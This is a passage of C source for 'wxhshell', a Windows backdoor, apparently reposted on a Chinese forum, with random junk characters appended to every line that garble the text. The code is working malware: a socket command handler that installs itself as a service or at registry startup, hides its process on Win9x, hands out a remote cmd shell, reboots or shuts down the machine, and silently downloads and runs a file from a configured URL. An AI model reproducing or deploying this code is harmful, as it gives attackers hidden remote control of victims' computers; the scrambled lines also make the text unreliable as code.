  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q_p&~PNy5  
  } tq,^!RSbZ  
  else { w:nH_x#C4  
U]+IP;YS  
    switch(cmd[0]) { L8n?F#q  
  ,d*1|oUw  
  // 帮助 A",}Ikh='`  
  case '?': { oj.J;[-  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); G:1QXwq\j  
    break; ~$>JYJj  
  } a e-tAA[1Y  
  // 安装 5nBJj  
  case 'i': { )2wf D  
    if(Install()) LmyaC2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4Th?q{X  
    else pRh9+1EM;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o "0 ~  
    break; /Z]nV2$n)V  
    } I9L3Y@(f6m  
  // 卸载 (e5Z^9X  
  case 'r': { ^w%%$9=:r  
    if(Uninstall()) b3_P??yp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IhK SwT  
    else h}'Hst  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q=%W-  
    break; $bKXP(  
    } E@otV6Wk[@  
  // 显示 wxhshell 所在路径 $?!]?{K  
  case 'p': { ?7)v:$(G}  
    char svExeFile[MAX_PATH]; 4~A$u^scn  
    strcpy(svExeFile,"\n\r"); qLX<[UL  
      strcat(svExeFile,ExeFile); .3UJ*^(?  
        send(wsh,svExeFile,strlen(svExeFile),0); qT$IV\;_  
    break; yogL8V-^4  
    } '_7rooU9  
  // 重启 q9_AL8_  
  case 'b': { K"t?  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); j&/+/s9N  
    if(Boot(REBOOT)) Q|+ a   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :4)x  
    else { OA6i/3 #8  
    closesocket(wsh); a+J>  
    ExitThread(0); Dz$w6 d  
    } GPGP teC  
    break; e<{ d{  
    } {T^D&i# o  
  // 关机 zd8A8]&-  
  case 'd': { RLL ph  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); gi/k#3_m  
    if(Boot(SHUTDOWN)) T#!% Uzz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F4-rPv  
    else { $X-PjQb1Bb  
    closesocket(wsh); B%u[gNZ  
    ExitThread(0); gfN=0Xj4  
    } G Wa6FX:/  
    break; 1}c /l<d  
    } S-\wX.`R1  
  // 获取shell aqqo>O3 s  
  case 's': { [/*;}NUv  
    CmdShell(wsh); I:oEt  
    closesocket(wsh);  ? .SiT5  
    ExitThread(0); NL `  
    break; RAhDSDf  
  } i Pr(X  
  // 退出 'xai5X  
  case 'x': { :ln| n6X  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `)]W~  
    CloseIt(wsh); mT@Gf>}/A  
    break; /@ g 8MUq7  
    } O^./) #!#  
  // 离开 a]P%Y.? r  
  case 'q': { ;aD~1;q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0&| M/  
    closesocket(wsh); q Sv!5&u  
    WSACleanup(); +PsR*T  
    exit(1); 7;'UC','  
    break; ZGX"Vn|YL  
        } 52# *{q}  
  } +,R!el!o~u  
  } `%#_y67v  
KLG.?`h:  
  // 提示信息 ZHeue_~x4  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .j,xh )v"  
} fk?!0M6d  
  } O \o@]  
Cb<7?),vK  
  return; or;VmU8$zb  
} BHgs,  
N#-. [9!  
// shell模块句柄 =bJ$>Djp  
int CmdShell(SOCKET sock) @,Dnl v|?  
{ v+sF0 j\P  
STARTUPINFO si; n{<@-6  
ZeroMemory(&si,sizeof(si)); AIQ {^:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {U3jJ#K  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \pK&gdw  
PROCESS_INFORMATION ProcessInfo; ?Q=(?yR0]  
char cmdline[]="cmd"; /{8Y,pZbu  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @##}zku  
  return 0; 4mp)v*z  
} CpX[8>&osD  
{P?DkUO}  
// 自身启动模式 t xnH~;(  
int StartFromService(void) t'W6Fmwkx  
{ B[8 RBTsA  
typedef struct 7yg {0a  
{ &``nD  
  DWORD ExitStatus; GFbn>dY  
  DWORD PebBaseAddress; G] tT=X[  
  DWORD AffinityMask; b9i_\  
  DWORD BasePriority; B$s6|~  
  ULONG UniqueProcessId; a}VR>!b  
  ULONG InheritedFromUniqueProcessId; ZT/f  
}   PROCESS_BASIC_INFORMATION; d!&LpODI]*  
0]DX KI  
PROCNTQSIP NtQueryInformationProcess; x2I|iA=  
=M@)q y  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \J?&XaO=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^hEN  
V?^qW#AG  
  HANDLE             hProcess; w > GW  
  PROCESS_BASIC_INFORMATION pbi; 3kGg;z6  
W}D[9zo/  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); VY~*QF~P  
  if(NULL == hInst ) return 0; =|$U`~YB  
q |Pebe=  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); f]Aa$\@b  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); a>8] +@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); d^IX(y*$  
v\!Cq+lFML  
  if (!NtQueryInformationProcess) return 0; Edh9=sxL  
{nA+-=T  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~KGE(o4p  
  if(!hProcess) return 0; ]+qd|}^  
g_tEUaiK  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Fgwe`[  
9_&]7ABV  
  CloseHandle(hProcess); $E:z*~ ?  
 L=!h`k  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ' t(#HBU  
if(hProcess==NULL) return 0; *n@rPr-  
v/]xdP^Z  
HMODULE hMod; Y@ ;/Sf$Q  
char procName[255]; qB$QC  
unsigned long cbNeeded; |4aU&OX  
5f@&XwD9  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,T  3M  
V+0pvgS[  
  CloseHandle(hProcess); 6,~ %  
/N/jwLr  
if(strstr(procName,"services")) return 1; // 以服务启动 1#>uqUxah  
8BS Nm  
  return 0; // 注册表启动 w[QC  
} Zmk 9C@  
c(3idO*R)  
// 主模块 *$('ous8  
int StartWxhshell(LPSTR lpCmdLine) yswf2F  
{ V*%><r  
  SOCKET wsl; 1)N#  
BOOL val=TRUE; LG("<CU  
  int port=0; vPy."/[u  
  struct sockaddr_in door; yMgS0  
\!>qtFT  
  if(wscfg.ws_autoins) Install(); ee Bw\f0  
Ix=(f0|  
port=atoi(lpCmdLine); !]7L9TGn  
3dtL[aVwY  
if(port<=0) port=wscfg.ws_port; ]wbV1Y"  
3<a|_(K  
  WSADATA data; fx^yC.$2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; l0',B*og  
\Y:zg3q*  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ] TZ/=Id  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); YO@~y *,  
  door.sin_family = AF_INET; K"Irg.  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); G-o6~"J\  
  door.sin_port = htons(port); G&6`?1k  
/W}"/W9  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { K7qR  
closesocket(wsl); r0'a-Mk;  
return 1; yzNDXA.  
} yWH!v]S  
U?:?NC=1{  
  if(listen(wsl,2) == INVALID_SOCKET) { O+Db#FW  
closesocket(wsl); a(`"qS  
return 1; ?FZ) LZM  
} mI^S% HT  
  Wxhshell(wsl); e]:(.Wb- 9  
  WSACleanup(); uD4W@*PYr  
eM7 F8j  
return 0; >v/%R~BuX  
J]NMqi q  
} 'J0Ea\,if0  
Fl==k  
// 以NT服务方式启动 `[_p,,}Ir  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) P!&yYR\  
{ S*ie$}ZX  
DWORD   status = 0; =}+xD|T  
  DWORD   specificError = 0xfffffff; E|VTbE YG  
8*]dA ft  
  serviceStatus.dwServiceType     = SERVICE_WIN32; lb}:! Y  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [F27i#'I]  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4 `}6W>*R  
  serviceStatus.dwWin32ExitCode     = 0; niPqzi  
  serviceStatus.dwServiceSpecificExitCode = 0; 3XUie;*`  
  serviceStatus.dwCheckPoint       = 0; Z+FhI^  
  serviceStatus.dwWaitHint       = 0; Fdx4jc13w  
,nniSG((3  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }hc+ENh  
  if (hServiceStatusHandle==0) return; 9.Sv"=5gz  
/E Z -  
status = GetLastError(); a{}8030S  
  if (status!=NO_ERROR) BL\H@D  
{ p<RIvSqM  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; BDi+ *8  
    serviceStatus.dwCheckPoint       = 0; 'L%)B-,n  
    serviceStatus.dwWaitHint       = 0; -}>H3hr  
    serviceStatus.dwWin32ExitCode     = status; Sjmq\A88dc  
    serviceStatus.dwServiceSpecificExitCode = specificError; ,YrPwdaTB  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ige*tOv2  
    return; RE;)#t?K  
  } G|UeR=/  
r)dXcus  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; zwlz zqV  
  serviceStatus.dwCheckPoint       = 0; X'7MW? q@  
  serviceStatus.dwWaitHint       = 0; Q6PMRG}/o  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3+vMi[YO  
} h& Ezhv2  
-wnBdL  
// 处理NT服务事件,比如:启动、停止 PW*[(VX  
VOID WINAPI NTServiceHandler(DWORD fdwControl) qD}O_<_1ym  
{ P[P]oT.N  
switch(fdwControl) AT"!Ys|  
{ 1z8fhE iiE  
case SERVICE_CONTROL_STOP: @l~MY *hp  
  serviceStatus.dwWin32ExitCode = 0; A^7}:[s20  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; :rN5HOg^9  
  serviceStatus.dwCheckPoint   = 0; Ec!R3+  
  serviceStatus.dwWaitHint     = 0; *,XT;h$'>  
  { HwBJUr91]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); XpP}(A@G  
  } Ehtb`Ms  
  return; |OBZSk1jp  
case SERVICE_CONTROL_PAUSE: <d3 a  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; "A}2iI  
  break; p xQh;w  
case SERVICE_CONTROL_CONTINUE: \.`{nq  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; O6\t_.  
  break; 1F[W~@jW  
case SERVICE_CONTROL_INTERROGATE: ZX40-6#O  
  break; %Q5 |RL D  
}; n_t.l<V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); SKSI\]Cc  
} 4AN(4"$N  
'&iAPc4=  
// 标准应用程序主函数 ']>/$[!  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) xbze{9n"  
{ :h<QM$P<  
U{0! <*W>  
// 获取操作系统版本 (0 S;eM&  
OsIsNt=GetOsVer(); l]geQl:7`r  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ^A t,x  
~"U^N:I"  
  // 从命令行安装 (=QiXX1r  
  if(strpbrk(lpCmdLine,"iI")) Install(); G -RE  
t",b.vki\z  
  // 下载执行文件 {pk&dB _Bu  
if(wscfg.ws_downexe) { 22v= A6 =  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) x^!LA,`j  
  WinExec(wscfg.ws_filenam,SW_HIDE); udX!R^8jE  
} .v#Tj|w^  
E"t79dD  
if(!OsIsNt) { [gE2;J0*  
// 如果时win9x,隐藏进程并且设置为注册表启动 d>`s+B9K0  
HideProc(); Jgzg[6  
StartWxhshell(lpCmdLine); h1QrFPQnu  
} 7j{63d`2  
else gib;> nuBK  
  if(StartFromService()) ne'Y{n(8%  
  // 以服务方式启动 Jnq}SUev  
  StartServiceCtrlDispatcher(DispatchTable); NAEAvXj  
else {'q(a4  
  // 普通方式启动 -ob1_0  
  StartWxhshell(lpCmdLine); hkvymHaG  
|6zx YuX  
return 0; ,gn**E  
}
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只看该作者 1 发表于: 2006-10-10
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